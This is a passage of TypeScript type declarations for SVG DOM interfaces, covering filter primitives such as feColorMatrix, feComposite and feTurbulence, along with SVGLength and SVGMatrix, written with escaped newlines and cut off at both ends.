SVG_FEBLEND_MODE_HUE: number;\\n    readonly SVG_FEBLEND_MODE_LIGHTEN: number;\\n    readonly SVG_FEBLEND_MODE_LUMINOSITY: number;\\n    readonly SVG_FEBLEND_MODE_MULTIPLY: number;\\n    readonly SVG_FEBLEND_MODE_NORMAL: number;\\n    readonly SVG_FEBLEND_MODE_OVERLAY: number;\\n    readonly SVG_FEBLEND_MODE_SATURATION: number;\\n    readonly SVG_FEBLEND_MODE_SCREEN: number;\\n    readonly SVG_FEBLEND_MODE_SOFT_LIGHT: number;\\n    readonly SVG_FEBLEND_MODE_UNKNOWN: number;\\n};\\n\\ninterface SVGFEColorMatrixElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly type: SVGAnimatedEnumeration;\\n    readonly values: SVGAnimatedNumberList;\\n    readonly SVG_FECOLORMATRIX_TYPE_HUEROTATE: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_LUMINANCETOALPHA: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_MATRIX: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_SATURATE: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEColorMatrixElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEColorMatrixElement: {\\n    prototype: SVGFEColorMatrixElement;\\n    new(): SVGFEColorMatrixElement;\\n    readonly SVG_FECOLORMATRIX_TYPE_HUEROTATE: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_LUMINANCETOALPHA: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_MATRIX: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_SATURATE: number;\\n    readonly SVG_FECOLORMATRIX_TYPE_UNKNOWN: number;\\n};\\n\\ninterface SVGFEComponentTransferElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEComponentTransferElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEComponentTransferElement: {\\n    prototype: SVGFEComponentTransferElement;\\n    new(): SVGFEComponentTransferElement;\\n};\\n\\ninterface SVGFECompositeElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly in2: SVGAnimatedString;\\n    readonly k1: SVGAnimatedNumber;\\n    readonly k2: SVGAnimatedNumber;\\n    readonly k3: SVGAnimatedNumber;\\n    readonly k4: SVGAnimatedNumber;\\n    readonly operator: SVGAnimatedEnumeration;\\n    readonly SVG_FECOMPOSITE_OPERATOR_ARITHMETIC: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_ATOP: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_IN: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_OUT: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_OVER: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_UNKNOWN: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_XOR: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFECompositeElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFECompositeElement: {\\n    prototype: SVGFECompositeElement;\\n    new(): SVGFECompositeElement;\\n    readonly SVG_FECOMPOSITE_OPERATOR_ARITHMETIC: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_ATOP: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_IN: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_OUT: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_OVER: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_UNKNOWN: number;\\n    readonly SVG_FECOMPOSITE_OPERATOR_XOR: number;\\n};\\n\\ninterface SVGFEConvolveMatrixElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly bias: SVGAnimatedNumber;\\n    readonly divisor: SVGAnimatedNumber;\\n    readonly edgeMode: SVGAnimatedEnumeration;\\n    readonly in1: SVGAnimatedString;\\n    readonly kernelMatrix: SVGAnimatedNumberList;\\n    readonly kernelUnitLengthX: SVGAnimatedNumber;\\n    readonly kernelUnitLengthY: SVGAnimatedNumber;\\n    readonly orderX: SVGAnimatedInteger;\\n    readonly orderY: SVGAnimatedInteger;\\n    readonly preserveAlpha: SVGAnimatedBoolean;\\n    readonly targetX: SVGAnimatedInteger;\\n    readonly targetY: SVGAnimatedInteger;\\n    readonly SVG_EDGEMODE_DUPLICATE: number;\\n    readonly SVG_EDGEMODE_NONE: number;\\n    readonly SVG_EDGEMODE_UNKNOWN: number;\\n    readonly SVG_EDGEMODE_WRAP: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEConvolveMatrixElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEConvolveMatrixElement: {\\n    prototype: SVGFEConvolveMatrixElement;\\n    new(): SVGFEConvolveMatrixElement;\\n    readonly SVG_EDGEMODE_DUPLICATE: number;\\n    readonly SVG_EDGEMODE_NONE: number;\\n    readonly SVG_EDGEMODE_UNKNOWN: number;\\n    readonly SVG_EDGEMODE_WRAP: number;\\n};\\n\\ninterface SVGFEDiffuseLightingElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly diffuseConstant: SVGAnimatedNumber;\\n    readonly in1: SVGAnimatedString;\\n    readonly kernelUnitLengthX: SVGAnimatedNumber;\\n    readonly kernelUnitLengthY: SVGAnimatedNumber;\\n    readonly surfaceScale: SVGAnimatedNumber;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEDiffuseLightingElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEDiffuseLightingElement: {\\n    prototype: SVGFEDiffuseLightingElement;\\n    new(): SVGFEDiffuseLightingElement;\\n};\\n\\ninterface SVGFEDisplacementMapElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly in2: SVGAnimatedString;\\n    readonly scale: SVGAnimatedNumber;\\n    readonly xChannelSelector: SVGAnimatedEnumeration;\\n    readonly yChannelSelector: SVGAnimatedEnumeration;\\n    readonly SVG_CHANNEL_A: number;\\n    readonly SVG_CHANNEL_B: number;\\n    readonly SVG_CHANNEL_G: number;\\n    readonly SVG_CHANNEL_R: number;\\n    readonly SVG_CHANNEL_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEDisplacementMapElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEDisplacementMapElement: {\\n    prototype: SVGFEDisplacementMapElement;\\n    new(): SVGFEDisplacementMapElement;\\n    readonly SVG_CHANNEL_A: number;\\n    readonly SVG_CHANNEL_B: number;\\n    readonly SVG_CHANNEL_G: number;\\n    readonly SVG_CHANNEL_R: number;\\n    readonly SVG_CHANNEL_UNKNOWN: number;\\n};\\n\\ninterface SVGFEDistantLightElement extends SVGElement {\\n    readonly azimuth: SVGAnimatedNumber;\\n    readonly elevation: SVGAnimatedNumber;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEDistantLightElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEDistantLightElement: {\\n    prototype: SVGFEDistantLightElement;\\n    new(): SVGFEDistantLightElement;\\n};\\n\\ninterface SVGFEFloodElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEFloodElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEFloodElement: {\\n    prototype: SVGFEFloodElement;\\n    new(): SVGFEFloodElement;\\n};\\n\\ninterface SVGFEFuncAElement extends SVGComponentTransferFunctionElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEFuncAElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEFuncAElement: {\\n    prototype: SVGFEFuncAElement;\\n    new(): SVGFEFuncAElement;\\n};\\n\\ninterface SVGFEFuncBElement extends SVGComponentTransferFunctionElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEFuncBElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEFuncBElement: {\\n    prototype: SVGFEFuncBElement;\\n    new(): SVGFEFuncBElement;\\n};\\n\\ninterface SVGFEFuncGElement extends SVGComponentTransferFunctionElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEFuncGElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEFuncGElement: {\\n    prototype: SVGFEFuncGElement;\\n    new(): SVGFEFuncGElement;\\n};\\n\\ninterface SVGFEFuncRElement extends SVGComponentTransferFunctionElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEFuncRElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEFuncRElement: {\\n    prototype: SVGFEFuncRElement;\\n    new(): SVGFEFuncRElement;\\n};\\n\\ninterface SVGFEGaussianBlurElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly stdDeviationX: SVGAnimatedNumber;\\n    readonly stdDeviationY: SVGAnimatedNumber;\\n    setStdDeviation(stdDeviationX: number, stdDeviationY: number): void;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEGaussianBlurElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEGaussianBlurElement: {\\n    prototype: SVGFEGaussianBlurElement;\\n    new(): SVGFEGaussianBlurElement;\\n};\\n\\ninterface SVGFEImageElement extends SVGElement, SVGFilterPrimitiveStandardAttributes, SVGURIReference {\\n    readonly preserveAspectRatio: SVGAnimatedPreserveAspectRatio;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEImageElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEImageElement: {\\n    prototype: SVGFEImageElement;\\n    new(): SVGFEImageElement;\\n};\\n\\ninterface SVGFEMergeElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEMergeElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEMergeElement: {\\n    prototype: SVGFEMergeElement;\\n    new(): SVGFEMergeElement;\\n};\\n\\ninterface SVGFEMergeNodeElement extends SVGElement {\\n    readonly in1: SVGAnimatedString;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEMergeNodeElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEMergeNodeElement: {\\n    prototype: SVGFEMergeNodeElement;\\n    new(): SVGFEMergeNodeElement;\\n};\\n\\ninterface SVGFEMorphologyElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly operator: SVGAnimatedEnumeration;\\n    readonly radiusX: SVGAnimatedNumber;\\n    readonly radiusY: SVGAnimatedNumber;\\n    readonly SVG_MORPHOLOGY_OPERATOR_DILATE: number;\\n    readonly SVG_MORPHOLOGY_OPERATOR_ERODE: number;\\n    readonly SVG_MORPHOLOGY_OPERATOR_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEMorphologyElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEMorphologyElement: {\\n    prototype: SVGFEMorphologyElement;\\n    new(): SVGFEMorphologyElement;\\n    readonly SVG_MORPHOLOGY_OPERATOR_DILATE: number;\\n    readonly SVG_MORPHOLOGY_OPERATOR_ERODE: number;\\n    readonly SVG_MORPHOLOGY_OPERATOR_UNKNOWN: number;\\n};\\n\\ninterface SVGFEOffsetElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly dx: SVGAnimatedNumber;\\n    readonly dy: SVGAnimatedNumber;\\n    readonly in1: SVGAnimatedString;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEOffsetElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEOffsetElement: {\\n    prototype: SVGFEOffsetElement;\\n    new(): SVGFEOffsetElement;\\n};\\n\\ninterface SVGFEPointLightElement extends SVGElement {\\n    readonly x: SVGAnimatedNumber;\\n    readonly y: SVGAnimatedNumber;\\n    readonly z: SVGAnimatedNumber;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFEPointLightElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFEPointLightElement: {\\n    prototype: SVGFEPointLightElement;\\n    new(): SVGFEPointLightElement;\\n};\\n\\ninterface SVGFESpecularLightingElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    readonly kernelUnitLengthX: SVGAnimatedNumber;\\n    readonly kernelUnitLengthY: SVGAnimatedNumber;\\n    readonly specularConstant: SVGAnimatedNumber;\\n    readonly specularExponent: SVGAnimatedNumber;\\n    readonly surfaceScale: SVGAnimatedNumber;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFESpecularLightingElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFESpecularLightingElement: {\\n    prototype: SVGFESpecularLightingElement;\\n    new(): SVGFESpecularLightingElement;\\n};\\n\\ninterface SVGFESpotLightElement extends SVGElement {\\n    readonly limitingConeAngle: SVGAnimatedNumber;\\n    readonly pointsAtX: SVGAnimatedNumber;\\n    readonly pointsAtY: SVGAnimatedNumber;\\n    readonly pointsAtZ: SVGAnimatedNumber;\\n    readonly specularExponent: SVGAnimatedNumber;\\n    readonly x: SVGAnimatedNumber;\\n    readonly y: SVGAnimatedNumber;\\n    readonly z: SVGAnimatedNumber;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFESpotLightElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFESpotLightElement: {\\n    prototype: SVGFESpotLightElement;\\n    new(): SVGFESpotLightElement;\\n};\\n\\ninterface SVGFETileElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly in1: SVGAnimatedString;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFETileElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFETileElement: {\\n    prototype: SVGFETileElement;\\n    new(): SVGFETileElement;\\n};\\n\\ninterface SVGFETurbulenceElement extends SVGElement, SVGFilterPrimitiveStandardAttributes {\\n    readonly baseFrequencyX: SVGAnimatedNumber;\\n    readonly baseFrequencyY: SVGAnimatedNumber;\\n    readonly numOctaves: SVGAnimatedInteger;\\n    readonly seed: SVGAnimatedNumber;\\n    readonly stitchTiles: SVGAnimatedEnumeration;\\n    readonly type: SVGAnimatedEnumeration;\\n    readonly SVG_STITCHTYPE_NOSTITCH: number;\\n    readonly SVG_STITCHTYPE_STITCH: number;\\n    readonly SVG_STITCHTYPE_UNKNOWN: number;\\n    readonly SVG_TURBULENCE_TYPE_FRACTALNOISE: number;\\n    readonly SVG_TURBULENCE_TYPE_TURBULENCE: number;\\n    readonly SVG_TURBULENCE_TYPE_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFETurbulenceElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFETurbulenceElement: {\\n    prototype: SVGFETurbulenceElement;\\n    new(): SVGFETurbulenceElement;\\n    readonly SVG_STITCHTYPE_NOSTITCH: number;\\n    readonly SVG_STITCHTYPE_STITCH: number;\\n    readonly SVG_STITCHTYPE_UNKNOWN: number;\\n    readonly SVG_TURBULENCE_TYPE_FRACTALNOISE: number;\\n    readonly SVG_TURBULENCE_TYPE_TURBULENCE: number;\\n    readonly SVG_TURBULENCE_TYPE_UNKNOWN: number;\\n};\\n\\ninterface SVGFilterElement extends SVGElement, SVGUnitTypes, SVGURIReference {\\n    readonly filterResX: SVGAnimatedInteger;\\n    readonly filterResY: SVGAnimatedInteger;\\n    readonly filterUnits: SVGAnimatedEnumeration;\\n    readonly height: SVGAnimatedLength;\\n    readonly primitiveUnits: SVGAnimatedEnumeration;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    setFilterRes(filterResX: number, filterResY: number): void;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFilterElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFilterElement: {\\n    prototype: SVGFilterElement;\\n    new(): SVGFilterElement;\\n};\\n\\ninterface SVGForeignObjectElement extends SVGGraphicsElement {\\n    readonly height: SVGAnimatedLength;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGForeignObjectElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGForeignObjectElement: {\\n    prototype: SVGForeignObjectElement;\\n    new(): SVGForeignObjectElement;\\n};\\n\\ninterface SVGGElement extends SVGGraphicsElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGGElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGGElement: {\\n    prototype: SVGGElement;\\n    new(): SVGGElement;\\n};\\n\\ninterface SVGGradientElement extends SVGElement, SVGUnitTypes, SVGURIReference {\\n    readonly gradientTransform: SVGAnimatedTransformList;\\n    readonly gradientUnits: SVGAnimatedEnumeration;\\n    readonly spreadMethod: SVGAnimatedEnumeration;\\n    readonly SVG_SPREADMETHOD_PAD: number;\\n    readonly SVG_SPREADMETHOD_REFLECT: number;\\n    readonly SVG_SPREADMETHOD_REPEAT: number;\\n    readonly SVG_SPREADMETHOD_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGGradientElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGGradientElement: {\\n    prototype: SVGGradientElement;\\n    new(): SVGGradientElement;\\n    readonly SVG_SPREADMETHOD_PAD: number;\\n    readonly SVG_SPREADMETHOD_REFLECT: number;\\n    readonly SVG_SPREADMETHOD_REPEAT: number;\\n    readonly SVG_SPREADMETHOD_UNKNOWN: number;\\n};\\n\\ninterface SVGGraphicsElement extends SVGElement, SVGTests {\\n    readonly farthestViewportElement: SVGElement;\\n    readonly nearestViewportElement: SVGElement;\\n    readonly transform: SVGAnimatedTransformList;\\n    getBBox(): SVGRect;\\n    getCTM(): SVGMatrix;\\n    getScreenCTM(): SVGMatrix;\\n    getTransformToElement(element: SVGElement): SVGMatrix;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGGraphicsElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGGraphicsElement: {\\n    prototype: SVGGraphicsElement;\\n    new(): SVGGraphicsElement;\\n};\\n\\ninterface SVGImageElement extends SVGGraphicsElement, SVGURIReference {\\n    readonly height: SVGAnimatedLength;\\n    readonly preserveAspectRatio: SVGAnimatedPreserveAspectRatio;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGImageElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGImageElement: {\\n    prototype: SVGImageElement;\\n    new(): SVGImageElement;\\n};\\n\\ninterface SVGLength {\\n    readonly unitType: number;\\n    value: number;\\n    valueAsString: string;\\n    valueInSpecifiedUnits: number;\\n    convertToSpecifiedUnits(unitType: number): void;\\n    newValueSpecifiedUnits(unitType: number, valueInSpecifiedUnits: number): void;\\n    readonly SVG_LENGTHTYPE_CM: number;\\n    readonly SVG_LENGTHTYPE_EMS: number;\\n    readonly SVG_LENGTHTYPE_EXS: number;\\n    readonly SVG_LENGTHTYPE_IN: number;\\n    readonly SVG_LENGTHTYPE_MM: number;\\n    readonly SVG_LENGTHTYPE_NUMBER: number;\\n    readonly SVG_LENGTHTYPE_PC: number;\\n    readonly SVG_LENGTHTYPE_PERCENTAGE: number;\\n    readonly SVG_LENGTHTYPE_PT: number;\\n    readonly SVG_LENGTHTYPE_PX: number;\\n    readonly SVG_LENGTHTYPE_UNKNOWN: number;\\n}\\n\\ndeclare var SVGLength: {\\n    prototype: SVGLength;\\n    new(): SVGLength;\\n    readonly SVG_LENGTHTYPE_CM: number;\\n    readonly SVG_LENGTHTYPE_EMS: number;\\n    readonly SVG_LENGTHTYPE_EXS: number;\\n    readonly SVG_LENGTHTYPE_IN: number;\\n    readonly SVG_LENGTHTYPE_MM: number;\\n    readonly SVG_LENGTHTYPE_NUMBER: number;\\n    readonly SVG_LENGTHTYPE_PC: number;\\n    readonly SVG_LENGTHTYPE_PERCENTAGE: number;\\n    readonly SVG_LENGTHTYPE_PT: number;\\n    readonly SVG_LENGTHTYPE_PX: number;\\n    readonly SVG_LENGTHTYPE_UNKNOWN: number;\\n};\\n\\ninterface SVGLengthList {\\n    readonly numberOfItems: number;\\n    appendItem(newItem: SVGLength): SVGLength;\\n    clear(): void;\\n    getItem(index: number): SVGLength;\\n    initialize(newItem: SVGLength): SVGLength;\\n    insertItemBefore(newItem: SVGLength, index: number): SVGLength;\\n    removeItem(index: number): SVGLength;\\n    replaceItem(newItem: SVGLength, index: number): SVGLength;\\n}\\n\\ndeclare var SVGLengthList: {\\n    prototype: SVGLengthList;\\n    new(): SVGLengthList;\\n};\\n\\ninterface SVGLinearGradientElement extends SVGGradientElement {\\n    readonly x1: SVGAnimatedLength;\\n    readonly x2: SVGAnimatedLength;\\n    readonly y1: SVGAnimatedLength;\\n    readonly y2: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGLinearGradientElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGLinearGradientElement: {\\n    prototype: SVGLinearGradientElement;\\n    new(): SVGLinearGradientElement;\\n};\\n\\ninterface SVGLineElement extends SVGGraphicsElement {\\n    readonly x1: SVGAnimatedLength;\\n    readonly x2: SVGAnimatedLength;\\n    readonly y1: SVGAnimatedLength;\\n    readonly y2: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGLineElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGLineElement: {\\n    prototype: SVGLineElement;\\n    new(): SVGLineElement;\\n};\\n\\ninterface SVGMarkerElement extends SVGElement, SVGFitToViewBox {\\n    readonly markerHeight: SVGAnimatedLength;\\n    readonly markerUnits: SVGAnimatedEnumeration;\\n    readonly markerWidth: SVGAnimatedLength;\\n    readonly orientAngle: SVGAnimatedAngle;\\n    readonly orientType: SVGAnimatedEnumeration;\\n    readonly refX: SVGAnimatedLength;\\n    readonly refY: SVGAnimatedLength;\\n    setOrientToAngle(angle: SVGAngle): void;\\n    setOrientToAuto(): void;\\n    readonly SVG_MARKER_ORIENT_ANGLE: number;\\n    readonly SVG_MARKER_ORIENT_AUTO: number;\\n    readonly SVG_MARKER_ORIENT_UNKNOWN: number;\\n    readonly SVG_MARKERUNITS_STROKEWIDTH: number;\\n    readonly SVG_MARKERUNITS_UNKNOWN: number;\\n    readonly SVG_MARKERUNITS_USERSPACEONUSE: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGMarkerElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGMarkerElement: {\\n    prototype: SVGMarkerElement;\\n    new(): SVGMarkerElement;\\n    readonly SVG_MARKER_ORIENT_ANGLE: number;\\n    readonly SVG_MARKER_ORIENT_AUTO: number;\\n    readonly SVG_MARKER_ORIENT_UNKNOWN: number;\\n    readonly SVG_MARKERUNITS_STROKEWIDTH: number;\\n    readonly SVG_MARKERUNITS_UNKNOWN: number;\\n    readonly SVG_MARKERUNITS_USERSPACEONUSE: number;\\n};\\n\\ninterface SVGMaskElement extends SVGElement, SVGTests, SVGUnitTypes {\\n    readonly height: SVGAnimatedLength;\\n    readonly maskContentUnits: SVGAnimatedEnumeration;\\n    readonly maskUnits: SVGAnimatedEnumeration;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGMaskElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGMaskElement: {\\n    prototype: SVGMaskElement;\\n    new(): SVGMaskElement;\\n};\\n\\ninterface SVGMatrix {\\n    a: number;\\n    b: number;\\n    c: number;\\n    d: number;\\n    e: number;\\n    f: number;\\n    flipX(): SVGMatrix;\\n    flipY(): SVGMatrix;\\n    inverse(): SVGMatrix;\\n    multiply(secondMatrix: SVGMatrix): SVGMatrix;\\n    rotate(angle: number): SVGMatrix;\\n    rotateFromVector(x: number, y: number): SVGMatrix;\\n    scale(scaleFactor: number): SVGMatrix;\\n    scaleNonUniform(scaleFactorX: number, scaleFactorY: number): SVGMatrix;\\n    skewX(angle: number): SVGMatrix;\\n    skewY(angle: number): SVGMatrix;\\n    translate(x: number, y: number): SVGMatrix;\\n}\\n\\ndeclare var SVGMatrix: {\\n    prototype: SVGMatrix;\\n    new(): SVGMatrix;\\n};\\n\\ninterface SVGMetadataElement extends SVGElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGMetadataElement, ev: 